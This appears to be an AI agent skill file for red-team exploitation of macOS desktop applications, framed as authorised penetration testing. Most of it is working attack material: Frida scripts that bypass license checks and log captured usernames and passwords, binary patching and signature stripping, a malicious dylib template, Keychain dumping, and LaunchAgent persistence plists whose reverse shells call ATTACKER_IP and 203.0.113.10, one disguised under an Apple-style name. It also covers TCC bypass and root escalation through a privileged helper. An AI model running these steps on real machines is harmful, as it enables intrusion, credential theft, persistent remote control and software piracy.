---
name: rt-exploit-desktop-mac
description: "macOS application security testing skill. Binary analysis with class-dump and otool, dynamic analysis with frida, code signing bypass, macOS Keychain extraction, LaunchAgent/LaunchDaemon persistence, TCC (Transparency Consent Control) bypass concepts, DYLD injection, sandbox escape concepts, and macOS-specific privilege escalation."
---

# rt-exploit-desktop-mac — macOS Desktop Application Exploitation

## 1. Overview and When to Use

This skill covers the full attack chain against macOS desktop applications — from initial binary reconnaissance through privilege escalation and persistence. macOS apps are frequently overlooked in penetration tests despite routinely exposing Objective-C class hierarchies, Keychain-stored credentials, injectable dynamic libraries, and TCC policy gaps.

**Use this skill when:**
- Scope includes a macOS fat client, thick client, or locally installed `.app` bundle
- The target is an Objective-C or Swift binary (Mach-O format)
- You need to extract credentials from the macOS Keychain or embedded plists
- The engagement allows host-based testing with a macOS or Kali Linux machine
- You are assessing an Electron, Flutter, or cross-platform app packaged for macOS
- Persistence via LaunchAgent/LaunchDaemon is within scope

**Does NOT cover:**
- iOS mobile application testing — use `rt-exploit-ios`
- Pure web browser exploitation — use `rt-exploit-web`
- Electron-specific logic bypass — use `rt-exploit-electron`
- Kernel exploitation or jailbreaking macOS — out of scope for standard engagements

---

## 2. Prerequisites and Tool Setup

### Operator Machine Requirements

Most static analysis and tooling can be performed on Kali Linux. Dynamic analysis with Frida works on a physical or virtual macOS target. A macOS VM (Ventura/Sonoma) is strongly recommended for full dynamic testing.

### Required Tools

| Tool | Purpose | Install |
|------|---------|---------|
| class-dump | Dump Objective-C class interfaces from Mach-O | `brew install class-dump` |
| otool | Mach-O binary inspection (built-in on macOS) | Xcode CLI tools |
| nm | Symbol table inspection | Xcode CLI tools / `binutils` on Kali |
| strings | Extract printable strings | Built-in |
| frida | Dynamic instrumentation framework | `pip3 install frida-tools` |
| objection | Frida wrapper for mobile/desktop | `pip3 install objection` |
| Hopper Disassembler | macOS-native disassembler/decompiler | https://www.hopperapp.com |
| Ghidra | Free NSA decompiler (cross-platform) | https://ghidra-sre.org |
| insert_dylib | DYLD injection into Mach-O binaries | https://github.com/Tyilo/insert_dylib |
| optool | Mach-O binary patching | https://github.com/alexzielenski/optool |
| macOS-Security-and-Privacy-Guide | Reference | https://github.com/drduh/macOS-Security-and-Privacy-Guide |
| KeychainCracker | Keychain brute-force | https://github.com/macmade/KeychainCracker |
| chainbreaker | Keychain forensic extraction | https://github.com/n0fate/chainbreaker |
| macOS_SUID_Enum | SUID/SGID enumeration scripts | https://github.com/NetSPI/MacOSX-PrivEsc |
| lsregister | Launch Services database inspection | `/System/Library/Frameworks/CoreServices.framework/...` |

### Kali Linux Setup

```bash
# Install Frida and tools
pip3 install frida-tools objection

# Install Ghidra dependencies (Java)
sudo apt install openjdk-17-jdk -y

# Download Ghidra
wget https://github.com/NationalSecurityAgency/ghidra/releases/download/Ghidra_11.1.2_build/ghidra_11.1.2_PUBLIC_20240709.zip
unzip ghidra_11.1.2_PUBLIC_20240709.zip

# Install binutils for cross-platform Mach-O inspection
sudo apt install binutils-multiarch -y

# Install radare2 for Mach-O binary analysis
sudo apt install radare2 -y

# Clone useful macOS exploitation tools
git clone https://github.com/n0fate/chainbreaker.git
git clone https://github.com/Tyilo/insert_dylib.git
git clone https://github.com/alexzielenski/optool.git
git clone https://github.com/NetSPI/MacOSX-PrivEsc.git
```

### macOS Target Setup (for dynamic analysis)

```bash
# Install Homebrew (if not present)
/bin/bash -c "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/HEAD/install.sh)"

# Install class-dump and otool
brew install class-dump
xcode-select --install

# Install Frida on target
pip3 install frida-tools

# Verify Frida works
frida-ps -l
```

---

## 3. Skill Levels

### BEGINNER — Passive Static Analysis
- Run `strings` against the app binary
- Use `otool -L` to list linked libraries
- Use `class-dump` to list all Objective-C classes and methods
- Browse the `.app` bundle for embedded plists and config files
- Check for hardcoded credentials using grep patterns

### INTERMEDIATE — Active Binary Analysis
- Disassemble with Ghidra or Hopper to find authentication logic
- Use `nm` to enumerate exported symbols
- Attach Frida to a running process and trace method calls
- Extract Keychain items using `security` CLI or chainbreaker
- Identify missing DYLD library paths for injection candidates

### ADVANCED — Dynamic Exploitation and Bypass
- Use `insert_dylib` or `optool` to inject malicious dylibs
- Bypass code signing with `codesign --remove-signature` and ad-hoc signing
- Hook authentication methods with Frida scripts to bypass login
- Install LaunchAgent persistence for operator callbacks
- Enumerate and exploit TCC policy gaps (microphone, camera, contacts, files)

### EXPERT — Privilege Escalation and Sandbox Escape
- Exploit SUID/SGID binaries for local privilege escalation
- Abuse privileged helper tools installed by `.pkg` installers
- Exploit XPC service misconfigurations for privilege escalation
- Leverage `DYLD_INSERT_LIBRARIES` against setuid binaries (pre-Catalina)
- Enumerate and exploit `sudo` misconfigurations
- Chain LaunchDaemon installation with privesc for root persistence
- Exploit Transparency Consent Control (TCC) database manipulation

---

## 4. Step-by-Step Attack Workflow

### Phase 1: Application Discovery and Bundle Inspection

```bash
# Step 1: Locate the application bundle
find /Applications -name "*.app" -maxdepth 2 | head -20
ls -la /Applications/TargetApp.app/Contents/

# Step 2: Identify the main binary
ls -la /Applications/TargetApp.app/Contents/MacOS/
file /Applications/TargetApp.app/Contents/MacOS/TargetApp

# Step 3: Check if it is a universal binary (fat binary)
lipo -info /Applications/TargetApp.app/Contents/MacOS/TargetApp
# Output: Architectures in the fat file: arm64 x86_64

# Step 4: Inspect Info.plist for permissions and entitlements
cat /Applications/TargetApp.app/Contents/Info.plist
plutil -p /Applications/TargetApp.app/Contents/Info.plist

# Step 5: Extract entitlements (defines what the app is allowed to do)
codesign -d --entitlements :- /Applications/TargetApp.app/Contents/MacOS/TargetApp

# Step 6: Check code signing status
codesign -vvv /Applications/TargetApp.app
spctl --assess --verbose /Applications/TargetApp.app

# Step 7: List embedded frameworks and plugins
ls -la /Applications/TargetApp.app/Contents/Frameworks/
ls -la /Applications/TargetApp.app/Contents/PlugIns/ 2>/dev/null
```

### Phase 2: Static Binary Analysis

```bash
# Step 8: Dump all Objective-C class interfaces
class-dump /Applications/TargetApp.app/Contents/MacOS/TargetApp > target_classes.txt
# Look for authentication, license, and credential-related classes
grep -i "auth\|login\|password\|license\|key\|token\|secret" target_classes.txt

# Step 9: List all linked dynamic libraries
otool -L /Applications/TargetApp.app/Contents/MacOS/TargetApp
# Note any weak-linked or missing libraries — candidates for DYLD injection

# Step 10: List all symbols (functions, methods)
nm -gU /Applications/TargetApp.app/Contents/MacOS/TargetApp | head -100
nm /Applications/TargetApp.app/Contents/MacOS/TargetApp | grep -i "auth\|crypt\|hash\|pass"

# Step 11: Extract Mach-O load commands (segments, sections)
otool -l /Applications/TargetApp.app/Contents/MacOS/TargetApp | grep -A4 "LC_RPATH"
# RPATH entries are critical for DYLD hijacking

# Step 12: Search for hardcoded strings
strings /Applications/TargetApp.app/Contents/MacOS/TargetApp | grep -iE "password|passwd|apikey|api_key|secret|token|username|http://"
strings /Applications/TargetApp.app/Contents/MacOS/TargetApp | grep -E "[A-Za-z0-9+/]{40,}={0,2}"  # Base64 blobs

# Step 13: Inspect all embedded resource files
find /Applications/TargetApp.app -name "*.plist" -exec plutil -p {} \;
find /Applications/TargetApp.app -name "*.json" -exec cat {} \;
find /Applications/TargetApp.app -name "*.db" -o -name "*.sqlite" 2>/dev/null

# Step 14: Search for network endpoints in binary
strings /Applications/TargetApp.app/Contents/MacOS/TargetApp | grep -E "https?://[a-zA-Z0-9./_-]+"
strings /Applications/TargetApp.app/Contents/MacOS/TargetApp | grep -E "[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}"
```

### Phase 3: Disassembly and Decompilation

```bash
# Step 15: Open in Ghidra (GUI) for full decompilation
# Launch Ghidra, create new project, import the Mach-O binary
# Use CodeBrowser -> Window -> Decompiler to analyze target functions

# Step 16: Use radare2 for command-line disassembly (Kali-friendly)
r2 /Applications/TargetApp.app/Contents/MacOS/TargetApp
# Inside r2:
# aaa            (analyze all)
# afl | grep auth  (list functions matching auth)
# pdf @ sym.func_name  (disassemble specific function)
# s sym.func_name && pdf  (seek and print disassembly)

# Step 17: Extract specific architecture from fat binary for analysis
lipo /Applications/TargetApp.app/Contents/MacOS/TargetApp -thin x86_64 -output target_x86_64
lipo /Applications/TargetApp.app/Contents/MacOS/TargetApp -thin arm64 -output target_arm64

# Step 18: Identify Objective-C method implementations in radare2
r2 target_x86_64
# aaa; afl | grep -i "check\|verify\|valid\|auth"
```

### Phase 4: Dynamic Analysis with Frida

```bash
# Step 19: List running processes
frida-ps -l   # local processes
frida-ps      # all processes including system

# Step 20: Spawn the target app and attach Frida
frida -l trace_methods.js TargetApp
# OR attach to already running process
frida -n TargetApp -l trace_methods.js

# Step 21: Trace all Objective-C method calls (noisy but useful)
frida-trace -m "-[* *]" -n TargetApp 2>&1 | grep -i "auth\|login\|password"

# Step 22: Trace specific class methods
frida-trace -m "-[AuthManager *]" -n TargetApp
frida-trace -m "-[LicenseChecker *]" -n TargetApp

# Step 23: Interactive Frida REPL — enumerate classes
frida -n TargetApp
# Inside Frida console:
# ObjC.classes          // list all ObjC classes
# ObjC.classes.AuthManager.$ownMethods  // list methods on specific class

# Step 24: Frida script to hook and bypass authentication
cat > bypass_auth.js << 'EOF'
// Hook a specific method and force it to return true
var AuthManager = ObjC.classes.AuthManager;
Interceptor.attach(AuthManager["- isLicenseValid"].implementation, {
    onEnter: function(args) {
        console.log("[*] isLicenseValid called");
    },
    onLeave: function(retval) {
        console.log("[*] Original return value: " + retval);
        retval.replace(1);  // Force return YES/true
        console.log("[*] Patched return value to: " + retval);
    }
});
EOF
frida -n TargetApp -l bypass_auth.js

# Step 25: Dump all arguments passed to a method
cat > dump_args.js << 'EOF'
var LoginController = ObjC.classes.LoginController;
Interceptor.attach(LoginController["- loginWithUsername:password:"].implementation, {
    onEnter: function(args) {
        // args[0] = self, args[1] = selector, args[2] = username, args[3] = password
        var username = ObjC.Object(args[2]).toString();
        var password = ObjC.Object(args[3]).toString();
        console.log("[*] Username: " + username);
        console.log("[*] Password: " + password);
    }
});
EOF
frida -n TargetApp -l dump_args.js

# Step 26: Use objection for streamlined analysis
objection -g TargetApp explore
# Inside objection:
# ios sslpinning disable       (works on macOS too for network pinning)
# objc classes                 (list all classes)
# objc watch class AuthManager (watch all methods on class)
# memory dump all /tmp/memdump (dump process memory)
```

### Phase 5: Code Signing Bypass and Binary Patching

```bash
# Step 27: Remove code signature from binary
codesign --remove-signature /Applications/TargetApp.app/Contents/MacOS/TargetApp

# Step 28: Patch binary (e.g., nop out a license check jump)
# First, find the offset of the instruction in radare2
# Then use dd or a hex editor to patch
# Example: patch a conditional jump (je = 0x74) to nop (0x90)
printf '\x90\x90' | dd of=target_x86_64 bs=1 seek=0x1234 conv=notrunc

# Step 29: Re-sign with ad-hoc signature (no identity required)
codesign --force --sign - /Applications/TargetApp.app/Contents/MacOS/TargetApp

# Step 30: Re-sign the entire bundle
codesign --force --deep --sign - /Applications/TargetApp.app

# Step 31: Bypass Gatekeeper for testing (requires admin)
sudo spctl --master-disable
# Re-enable after testing
sudo spctl --master-enable

# Step 32: Allow specific app through Gatekeeper
sudo xattr -rd com.apple.quarantine /Applications/TargetApp.app
```

### Phase 6: DYLD Library Injection

```bash
# Step 33: Check current RPATH and linked libraries
otool -L /Applications/TargetApp.app/Contents/MacOS/TargetApp
otool -l /Applications/TargetApp.app/Contents/MacOS/TargetApp | grep -A3 "LC_RPATH"

# Step 34: Identify weak-linked libraries (candidates for hijacking)
otool -l /Applications/TargetApp.app/Contents/MacOS/TargetApp | grep -B2 "LC_LOAD_WEAK_DYLIB" -A3

# Step 35: Create a malicious dylib
cat > evil.m << 'EOF'
#include <stdio.h>
#include <syslog.h>

__attribute__((constructor))
static void customConstructor(int argc, const char **argv) {
    printf("[*] DYLD injected — running as: %s\n", getenv("USER"));
    syslog(LOG_ERR, "DYLD injection successful from evil.dylib");
    // Add reverse shell or credential dump code here
}
EOF

# Compile for x86_64
clang -dynamiclib -arch x86_64 -o evil.dylib evil.m

# Compile for arm64
clang -dynamiclib -arch arm64 -o evil_arm64.dylib evil.m

# Compile universal
clang -dynamiclib -arch x86_64 -arch arm64 -o evil_universal.dylib evil.m

# Step 36: Inject using insert_dylib (modifies the binary)
# Build insert_dylib first (requires Xcode)
./insert_dylib --strip-codesig --inplace /path/to/evil.dylib /Applications/TargetApp.app/Contents/MacOS/TargetApp

# Step 37: Inject via DYLD_INSERT_LIBRARIES environment variable
# Note: Does NOT work against hardened runtime or SIP-protected binaries
DYLD_INSERT_LIBRARIES=/path/to/evil.dylib /Applications/TargetApp.app/Contents/MacOS/TargetApp

# Step 38: Use optool for more reliable binary modification
./optool insert -p /absolute/path/to/evil.dylib -t /Applications/TargetApp.app/Contents/MacOS/TargetApp

# Step 39: Re-sign after modification
codesign --force --deep --sign - /Applications/TargetApp.app
```

### Phase 7: Keychain Extraction

```bash
# Step 40: List Keychain items using security CLI
security list-keychains
security dump-keychain
security dump-keychain -d login.keychain-db   # Prompts user, shows passwords

# Step 41: Find specific credentials
security find-internet-password -s "api.targetapp.com" -w
security find-generic-password -a "TargetApp" -w

# Step 42: List all items without passwords (no prompt)
security dump-keychain ~/Library/Keychains/login.keychain-db

# Step 43: Use chainbreaker for offline Keychain analysis (forensics)
# Requires access to the keychain file and password (or unlocked keychain)
python3 chainbreaker/chainbreaker.py --password "userpassword" ~/Library/Keychains/login.keychain-db

# Step 44: Dump all generic passwords via Frida (bypasses keychain prompt)
cat > dump_keychain.js << 'EOF'
// Hook SecItemCopyMatching to capture Keychain lookups
var SecItemCopyMatching = Module.findExportByName("Security", "SecItemCopyMatching");
Interceptor.attach(SecItemCopyMatching, {
    onLeave: function(retval) {
        // Enumerate results — log credential data
        console.log("[*] SecItemCopyMatching called, retval: " + retval);
    }
});
EOF
frida -n TargetApp -l dump_keychain.js

# Step 45: Search for Keychain database files
find ~/Library/Keychains/ -name "*.keychain-db" -o -name "*.keychain"
find /Library/Keychains/ -name "*.keychain-db" 2>/dev/null
```

### Phase 8: Persistence via LaunchAgent / LaunchDaemon

```bash
# Step 46: List existing LaunchAgents (user-level persistence)
ls -la ~/Library/LaunchAgents/
ls -la /Library/LaunchAgents/
ls -la /System/Library/LaunchAgents/

# Step 47: List LaunchDaemons (system-level, root persistence)
ls -la /Library/LaunchDaemons/
ls -la /System/Library/LaunchDaemons/

# Step 48: Create a malicious LaunchAgent plist (user-level, no admin needed)
cat > ~/Library/LaunchAgents/com.operator.persist.plist << 'EOF'
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
    <key>Label</key>
    <string>com.operator.persist</string>
    <key>ProgramArguments</key>
    <array>
        <string>/bin/bash</string>
        <string>-c</string>
        <string>bash -i &gt;&amp; /dev/tcp/ATTACKER_IP/4444 0&gt;&amp;1</string>
    </array>
    <key>RunAtLoad</key>
    <true/>
    <key>KeepAlive</key>
    <true/>
    <key>StartInterval</key>
    <integer>300</integer>
</dict>
</plist>
EOF

# Step 49: Load the LaunchAgent immediately
launchctl load ~/Library/LaunchAgents/com.operator.persist.plist
launchctl start com.operator.persist

# Step 50: Verify the agent is loaded
launchctl list | grep "com.operator"

# Step 51: Create a more stealthy LaunchAgent (disguised as system component)
# Use a name that blends in: com.apple.softwareupdateagent, com.apple.mdmclient
# This is high-risk OPSEC — use only if approved by ROE

# Step 52: Install LaunchDaemon (requires root)
sudo cp /path/to/daemon.plist /Library/LaunchDaemons/com.operator.daemon.plist
sudo chown root:wheel /Library/LaunchDaemons/com.operator.daemon.plist
sudo chmod 644 /Library/LaunchDaemons/com.operator.daemon.plist
sudo launchctl load /Library/LaunchDaemons/com.operator.daemon.plist
```

### Phase 9: TCC (Transparency Consent Control) Bypass Concepts

```bash
# Step 53: Understand TCC — it controls access to:
# Camera, Microphone, Contacts, Calendar, Photos, Location, Screen Recording
# Full Disk Access (FDA), Accessibility, Input Monitoring

# Step 54: Check current TCC database (FDA required to read)
# User TCC database
sqlite3 ~/Library/Application\ Support/com.apple.TCC/TCC.db \
    "SELECT service, client, auth_value FROM access;"

# System TCC database (requires root + SIP disabled to modify)
sudo sqlite3 /Library/Application\ Support/com.apple.TCC/TCC.db \
    "SELECT service, client, auth_value FROM access;"

# Step 55: Check what entitlements allow TCC bypass
# Apps with com.apple.private.tcc.allow entitlement bypass TCC
codesign -d --entitlements :- /Applications/TargetApp.app | grep tcc

# Step 56: TCC bypass via inherited permissions
# If an app has FDA (e.g., Terminal, Finder), a child process inherits access
# Trick an FDA-holding app into executing your payload
osascript -e 'tell application "Finder" to do shell script "/path/to/payload"'

# Step 57: Enumerate apps with TCC permissions
sqlite3 ~/Library/Application\ Support/com.apple.TCC/TCC.db \
    "SELECT service, client, auth_value FROM access WHERE auth_value=2;" 2>/dev/null

# Step 58: Check SIP status (affects TCC database modification)
csrutil status
# If disabled: csrutil disable (requires Recovery Mode)
```

### Phase 10: macOS Privilege Escalation

```bash
# Step 59: Enumerate SUID/SGID binaries
find / -perm -4000 -type f 2>/dev/null
find / -perm -2000 -type f 2>/dev/null

# Step 60: Check sudo configuration
sudo -l
# Look for NOPASSWD entries and unusual allowed commands
cat /etc/sudoers 2>/dev/null

# Step 61: Enumerate privileged helper tools installed by apps
ls -la /Library/PrivilegedHelperTools/
# These run as root and are often vulnerable to XPC message abuse

# Step 62: Inspect XPC service entitlements
codesign -d --entitlements :- /Library/PrivilegedHelperTools/com.targetapp.helper

# Step 63: Test XPC service for missing caller validation
# Use xpcspy to intercept XPC messages
# https://github.com/hot3eed/xpcspy
pip3 install xpcspy
frida -n TargetApp -l xpcspy.js

# Step 64: Check world-writable directories in PATH
echo $PATH | tr ':' '\n' | xargs -I{} ls -la {} 2>/dev/null | grep "rwxrwxrwx\|777"

# Step 65: Check for writable .dylib or framework paths
otool -L /Applications/TargetApp.app/Contents/MacOS/TargetApp | awk '{print $1}' | while read lib; do
    if [ -w "$lib" ] 2>/dev/null; then
        echo "[WRITABLE] $lib"
    fi
done

# Step 66: Enumerate cron jobs and periodic scripts
crontab -l
ls -la /etc/periodic/
ls -la /var/at/tabs/ 2>/dev/null
ls -la /usr/lib/cron/tabs/ 2>/dev/null

# Step 67: Check for weak file permissions on app components
find /Applications/TargetApp.app -perm -o+w -type f 2>/dev/null

# Step 68: Enumerate installed packages for post-install scripts
pkgutil --pkgs | grep -i target
pkgutil --pkg-info com.targetapp.pkg
# Check if installer left writable scripts
```

---

## 5. Real Attack Scenarios

### Scenario A: Credential Extraction from a macOS Enterprise Client App

**Target:** A corporate VPN or HR client application installed on employee MacBooks.

**Objective:** Extract stored credentials and API keys.

```bash
# Step 1: Identify app bundle
ls /Applications/ | grep -i "VPNClient\|HRApp"
file /Applications/VPNClient.app/Contents/MacOS/VPNClient
# Output: Mach-O 64-bit executable arm64

# Step 2: Dump Objective-C classes looking for credential storage
class-dump /Applications/VPNClient.app/Contents/MacOS/VPNClient | grep -i "keychain\|password\|cred\|token"
# Found: VPNCredentialManager class with methods storePassword:forUser: and retrievePassword

# Step 3: Search embedded plists for hardcoded server config
find /Applications/VPNClient.app -name "*.plist" -exec plutil -p {} \; | grep -i "server\|host\|url\|key"
# Found: serverURL = "https://vpn.corp.example.com", apiKey = "sk-live-XXXXXX" in Settings.plist

# Step 4: Attach Frida to extract runtime credentials
frida -n VPNClient -l dump_keychain_realtime.js
# Script hooks SecKeychainItemCopyContent and logs all retrieved passwords
# Output: [*] Keychain retrieved: user=john.doe@corp.com, pass=Summer2024!

# Step 5: Validate extracted credentials
curl -H "Authorization: Bearer sk-live-XXXXXX" https://vpn.corp.example.com/api/users

# Evidence: Screenshot of Frida output, plist contents, curl response
```

**Impact:** Full VPN access with employee credentials, potential network lateral movement.

---

### Scenario B: Code Signing Bypass and DYLD Injection for Privilege Escalation

**Target:** A licensed macOS productivity app that runs a privileged helper for file operations.

**Objective:** Bypass license check, inject malicious dylib, abuse privileged helper.

```bash
# Step 1: Analyze the license check
class-dump /Applications/ProductApp.app/Contents/MacOS/ProductApp | grep -i "license\|trial\|expire\|valid"
# Found: LicenseValidator class with method: - (BOOL)isLicenseActivated

# Step 2: Confirm method logic in Ghidra — returns 0 when no license file found

# Step 3: Remove code signature
codesign --remove-signature /Applications/ProductApp.app/Contents/MacOS/ProductApp

# Step 4: Write Frida bypass script
cat > bypass_license.js << 'EOF'
var LicenseValidator = ObjC.classes.LicenseValidator;
Interceptor.attach(LicenseValidator["- isLicenseActivated"].implementation, {
    onLeave: function(retval) {
        console.log("[*] License check bypassed");
        retval.replace(1);
    }
});
EOF
frida -n ProductApp -l bypass_license.js
# App is now fully functional

# Step 5: Identify the privileged helper
ls /Library/PrivilegedHelperTools/ | grep product
# Found: com.productapp.helper

# Step 6: Inspect XPC interface
class-dump /Library/PrivilegedHelperTools/com.productapp.helper
# Found: - (void)installFileWithSource:(NSString *)src destination:(NSString *)dst reply:(void (^)(NSError *))reply
# No caller validation — any process can call this

# Step 7: Write XPC client to abuse the helper
# Use Swift or Objective-C to call the XPC service with root file write
# Copy a malicious sudoers file or suid shell
# install a reverse shell binary to /usr/local/bin/

# Step 8: Establish persistence
cp /path/to/reverse_shell /usr/local/bin/rsh
# Call helper XPC to make it suid root:
# installFileWithSource:"/tmp/suid_shell" destination:"/usr/local/bin/rsh"

# Evidence: Frida console output, XPC call log, proof of root execution
```

**Impact:** Full root access on the target machine via privileged helper abuse.

---

### Scenario C: LaunchAgent Persistence After Initial Access via Phishing

**Target:** A macOS user who executed a malicious document macro.

**Objective:** Establish persistent access surviving reboots without admin rights.

```bash
# Step 1: Initial access established (user-level shell)
# Verify access level
whoami    # john.doe (not root)
id        # uid=501(john.doe) gid=20(staff)

# Step 2: Enumerate the environment for useful apps with TCC permissions
sqlite3 ~/Library/Application\ Support/com.apple.TCC/TCC.db \
    "SELECT service, client FROM access WHERE auth_value=2 AND service='kTCCServiceSystemPolicyAllFiles';" 2>/dev/null
# Found: Terminal has Full Disk Access

# Step 3: Drop the persistence payload
mkdir -p ~/.config/.hidden_support
cat > ~/.config/.hidden_support/agent.sh << 'EOF'
#!/bin/bash
while true; do
    /bin/bash -i >& /dev/tcp/203.0.113.10/443 0>&1
    sleep 60
done
EOF
chmod +x ~/.config/.hidden_support/agent.sh

# Step 4: Install LaunchAgent with innocent-looking name
cat > ~/Library/LaunchAgents/com.apple.useraccountd.plist << 'EOF'
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
    <key>Label</key>
    <string>com.apple.useraccountd</string>
    <key>ProgramArguments</key>
    <array>
        <string>/bin/bash</string>
        <string>/Users/john.doe/.config/.hidden_support/agent.sh</string>
    </array>
    <key>RunAtLoad</key>
    <true/>
    <key>KeepAlive</key>
    <true/>
    <key>StandardErrorPath</key>
    <string>/dev/null</string>
    <key>StandardOutPath</key>
    <string>/dev/null</string>
</dict>
</plist>
EOF

# Step 5: Load immediately
launchctl load ~/Library/LaunchAgents/com.apple.useraccountd.plist

# Step 6: Verify persistence
launchctl list | grep "com.apple.useraccountd"

# Step 7: Test reboot survival (advise client to reboot test machine)

# Evidence: Screenshot of launchctl list output, network connection on reboot
```

**Impact:** Persistent user-level access, surviving reboots, with callback to operator infrastructure.

---

## 6. OPSEC Considerations

### Detection Risks

| Action | Detection Risk | Signal Generated |
|--------|--------------|-----------------|
| Frida attachment | HIGH | `taskgated` may log code signing checks; EDR hooks detect Frida server process |
| `codesign --remove-signature` | MEDIUM | Gatekeeper/XProtect may flag unsigned binary on execution |
| DYLD_INSERT_LIBRARIES | MEDIUM | Logged by macOS Endpoint Security framework; TCC violations logged |
| LaunchAgent installation | MEDIUM | KnockKnock, Malwarebytes, and commercial EDRs watch LaunchAgents folder |
| Keychain `dump-keychain -d` | HIGH | Prompts user with GUI dialog; logged by macOS audit subsystem |
| TCC database modification | CRITICAL | Requires SIP disabled; logged extensively; triggers SIEM alerts |
| XPC privilege escalation | HIGH | XPC messages logged; privileged helper validates callers on patched apps |
| SUID binary abuse | MEDIUM | Execution logged by auditd / Endpoint Security |
| `sudo -l` enumeration | LOW | May be logged by sudoers configuration depending on SYSLOG setting |

### Mitigation Strategies for Operator

- Avoid attaching Frida to processes with EDR hooks — test on isolated VMs first
- Use ad-hoc code signing (`codesign --sign -`) rather than removing signatures entirely
- Blend LaunchAgent names with Apple-like labels (`com.apple.*`) only if ROE allows stealth testing
- Perform Keychain extraction via Frida hooks rather than GUI-triggering `security dump-keychain -d`
- Disable SIP on test VMs only — never on production targets unless explicitly scoped
- Minimize dwell time — extract artifacts and clean up LaunchAgents after testing
- Use `sudo spctl --master-disable` on test machines only — document before/after state

### Log Sources Defenders Monitor

- `/var/log/system.log` — general system events
- `/var/log/authd.log` — authentication events
- `/var/log/install.log` — package installation events
- Unified Log: `log stream --predicate 'subsystem == "com.apple.TCC"'`
- Endpoint Security Framework events (commercial EDR)
- FSEvents — file system change notifications monitored by Spotlight and security tools
- LaunchAgent/LaunchDaemon directories are watched by most macOS security tools

---

## 7. Output and Documentation Instructions

### Evidence to Collect

For each finding, collect:

1. **Screenshot** of terminal output showing the vulnerability or extracted data
2. **Command used** — exact syntax with any sensitive data redacted for the report
3. **File paths** of vulnerable components
4. **Class/method names** where credentials are exposed or logic flaws exist
5. **CVSS score** — use `rt-cvss-calculator` skill for scoring
6. **MITRE ATT&CK mapping** — use `rt-mitre-map` skill

### Finding Documentation Template

```
Title: [Hardcoded API Key in macOS App Bundle / DYLD Injection / Keychain Exposure / etc.]
Severity: Critical / High / Medium / Low
CWE: CWE-798 (Hardcoded Credentials) / CWE-427 (Uncontrolled Search Path)

Affected Component:
  App: /Applications/TargetApp.app
  Binary: /Applications/TargetApp.app/Contents/MacOS/TargetApp
  Class: [Objective-C class name if applicable]

Steps to Reproduce:
  1. [Command]
  2. [Command]
  3. [Result / extracted data]

Evidence:
  - Screenshot: findings/macos-01-keychain-dump.png
  - Raw output: findings/macos-01-frida-output.txt

Impact:
  [Describe what an attacker can do with this finding]

Recommendation:
  [Specific remediation steps for the development team]
```

### Output File Naming Convention

```
findings/
  macos-01-static-analysis-strings.txt
  macos-02-class-dump-output.txt
  macos-03-frida-credential-extraction.txt
  macos-04-dyld-injection-proof.png
  macos-05-keychain-items.txt
  macos-06-launchagent-persistence.txt
  macos-07-tcc-database-dump.txt
  macos-08-privesc-chain.txt
```

---

## 8. Resources and References

### Official Documentation
- Apple Security Overview: https://support.apple.com/guide/security/welcome/web
- macOS Code Signing: https://developer.apple.com/documentation/security/code_signing_services
- TCC Framework Reference: https://developer.apple.com/documentation/bundleresources/privacy_manifest_files
- Hardened Runtime: https://developer.apple.com/documentation/security/hardened_runtime

### Tools (GitHub)
- class-dump: https://github.com/nygard/class-dump
- Frida: https://github.com/frida/frida
- objection: https://github.com/sensepost/objection
- chainbreaker (Keychain forensics): https://github.com/n0fate/chainbreaker
- insert_dylib: https://github.com/Tyilo/insert_dylib
- optool (Mach-O patching): https://github.com/alexzielenski/optool
- xpcspy (XPC interception): https://github.com/hot3eed/xpcspy
- KeychainCracker: https://github.com/macmade/KeychainCracker
- macOS PrivEsc scripts: https://github.com/NetSPI/MacOSX-PrivEsc
- macOS Security Guide: https://github.com/drduh/macOS-Security-and-Privacy-Guide
- KnockKnock (persistence scanner): https://github.com/objective-see/KnockKnock
- Objective-See tools (defender reference): https://objective-see.org/tools.html
- macOS ATT&CK Navigator: https://mitre-attack.github.io/attack-navigator/

### Research and Write-ups
- TCC Bypass Techniques: https://github.com/nicowillis/TCC-bypass-collection
- macOS Penetration Testing: https://github.com/abulanov/macOS-Pentest-Resources
- Frida macOS Cookbook: https://learnfrida.info
- Apple Platform Security Guide (PDF): https://manuals.info.apple.com/MANUALS/1000/MA1902/en_US/apple-platform-security-guide.pdf

### MITRE ATT&CK Techniques (macOS)
- T1553.001 — Gatekeeper Bypass
- T1543.001 — Launch Agent
- T1543.004 — Launch Daemon
- T1555.001 — Keychain
- T1574.006 — Dynamic Linker Hijacking (DYLD)
- T1548.004 — Elevated Execution with Prompt
- T1134 — Access Token Manipulation
- T1056.001 — Keylogging
- T1218 — Signed Binary Proxy Execution
